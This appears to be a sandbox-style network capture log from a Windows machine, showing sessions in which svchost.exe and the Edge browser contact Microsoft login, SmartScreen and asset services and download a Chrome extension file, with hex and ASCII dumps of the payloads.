2024-11-28 07:55:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 07:55:47 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49789	65.52.241.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:49 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiNDVnc05rb1M1eFV1MHdzTDBUVXNlUT09IiwgImhhc2giOiIrd2RDRlN5bVdmMD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-28 07:55:49 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 07:55:49 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:49 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-28 07:55:49 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49795	13.107.246.63	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:50 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:50 UTC	576	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:50 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e1bd38c5-801e-0032-6b7f-4030d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075550Z-174f7845968px8v7hC1EWR08ng0000000ya000000000bc47 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:50 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-28 07:55:50 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-28 07:55:50 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-28 07:55:51 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49796	142.250.65.193	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:50 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:50 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6Pcm2w1yev9Mfg0V9nBNVA8aXwhBV3mEfF_0ozW088Hhb5MW-Zx_UlrBlExfmZZeCdYDU X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 54650 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-28 07:55:50 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a 